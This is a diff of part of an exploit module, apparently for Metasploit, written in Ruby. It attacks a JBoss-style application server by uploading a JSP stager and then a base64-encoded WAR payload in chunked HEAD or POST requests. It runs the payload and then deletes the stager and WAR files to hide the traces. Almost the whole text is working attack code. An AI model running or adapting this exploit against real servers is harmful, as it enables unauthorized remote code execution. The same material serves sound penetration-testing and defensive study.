@@ -84,12 +84,12 @@ def exploit
84
84
jsp_name = datastore [ 'JSP' ] || rand_text_alpha ( 8 +rand ( 8 ) )
85
85
app_base = datastore [ 'APPBASE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
86
86
stager_base = rand_text_alpha ( 8 +rand ( 8 ) )
87
- stager_jsp = rand_text_alpha ( 8 +rand ( 8 ) )
87
+ stager_jsp_name = rand_text_alpha ( 8 +rand ( 8 ) )
88
88
89
89
p = payload
90
90
mytarget = target
91
91
92
- if ( datastore [ 'VERB' ] == 'HEAD' )
92
+ if ( http_verb == 'HEAD' )
93
93
print_status ( "Unable to automatically select a target with HEAD requests" )
94
94
else
95
95
if ( target . name =~ /Automatic/ )
@@ -120,27 +120,25 @@ def exploit
120
120
} ) . to_s
121
121
122
122
encoded_payload = Rex ::Text . encode_base64 ( war_data ) . gsub ( /\n / , '' )
123
-
124
-
123
+ stager_contents = stager_jsp ( app_base , encoded_payload )
125
124
# Depending on the type on the verb we might use a second stager
126
- if datastore [ 'VERB' ] == "POST" then
125
+ if http_verb == "POST" then
127
126
print_status ( "Deploying stager for the WAR file" )
128
- stager_contents = stager_jsp ( app_base )
129
- res = upload_file ( stager_base , stager_jsp , stager_contents )
127
+ res = upload_file ( stager_base , stager_jsp_name , stager_contents )
130
128
else
131
129
print_status ( "Deploying minimal stager to upload the payload" )
132
130
head_stager_jsp_name = rand_text_alpha ( 8 +rand ( 8 ) )
133
- head_stager_contents = head_stager_jsp ( stager_base , stager_jsp )
134
- head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
131
+ head_stager_contents = head_stager_jsp ( stager_base , stager_jsp_name )
132
+ head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?"
135
133
res = upload_file ( stager_base , head_stager_jsp_name , head_stager_contents )
136
134
137
135
# We split the stager_jsp_code in multipe junks and transfer on the
138
136
# target with multiple requests
139
137
current_pos = 0
140
- while current_pos < stager_jsp_code . length
138
+ while current_pos < stager_contents . length
141
139
next_pos = current_pos + 5000 + rand ( 100 )
142
- junk = "#{ content_var } =" + Rex ::Text . uri_encode ( stager_jsp_code [ current_pos , next_pos ] )
143
- print_status ( "Uploading second stager (#{ current_pos } /#{ stager_jsp_code . length } )" )
140
+ junk = "arg0 =" + Rex ::Text . uri_encode ( stager_contents [ current_pos , next_pos ] )
141
+ print_status ( "Uploading second stager (#{ current_pos } /#{ stager_contents . length } )" )
144
142
res = deploy ( 'uri' => head_stager_uri + junk )
145
143
current_pos += next_pos
146
144
end
@@ -152,11 +150,9 @@ def exploit
152
150
# but the file still gets written.
153
151
if ( res . code == 200 || res . code == 500 )
154
152
print_status ( "Calling stager to deploy the payload warfile (might take some time)" )
155
- stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
156
- payload_data = "#{ rand_text_alpha ( 8 +rand ( 8 ) ) } =#{ Rex ::Text . uri_encode ( encoded_payload ) } "
153
+ stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
157
154
stager_res = deploy ( 'uri' => stager_uri ,
158
- 'data' => payload_data ,
159
- 'method' => http_verb )
155
+ 'method' => 'GET' )
160
156
161
157
print_status ( "Try to call the deployed payload" )
162
158
# Try to execute the payload by calling the deployed WAR file
@@ -169,10 +165,12 @@ def exploit
169
165
# The WAR can only be removed by physically deleting it, otherwise it
170
166
# will get redeployed after a server restart.
171
167
print_status ( "Undeploying stager and payload WARs via DeploymentFileRepository.remove()..." )
172
- print_status ( "This might take some time, be patient..." ) if datastore [ 'VERB' ] == "HEAD"
168
+ print_status ( "This might take some time, be patient..." ) if http_verb == "HEAD"
173
169
delete_res = [ ]
174
- delete_res << delete_file ( Rex ::Text . uri_encode ( stager_base ) + '.war' , stager_jsp , '.jsp' )
175
- delete_res << delete_file ( Rex ::Text . uri_encode ( stager_base ) + '.war' , head_stager_jsp , '.jsp' )
170
+ if head_stager_jsp_name
171
+ delete_res << delete_file ( Rex ::Text . uri_encode ( stager_base ) + '.war' , head_stager_jsp_name , '.jsp' )
172
+ end
173
+ delete_res << delete_file ( Rex ::Text . uri_encode ( stager_base ) + '.war' , stager_jsp_name , '.jsp' )
176
174
delete_res << delete_file ( './' , Rex ::Text . uri_encode ( stager_base ) + '.war' , '' )
177
175
delete_res << delete_file ( './' , Rex ::Text . uri_encode ( app_base ) + '.war' , '' )
178
176
delete_res . each do |res |
0 commit comments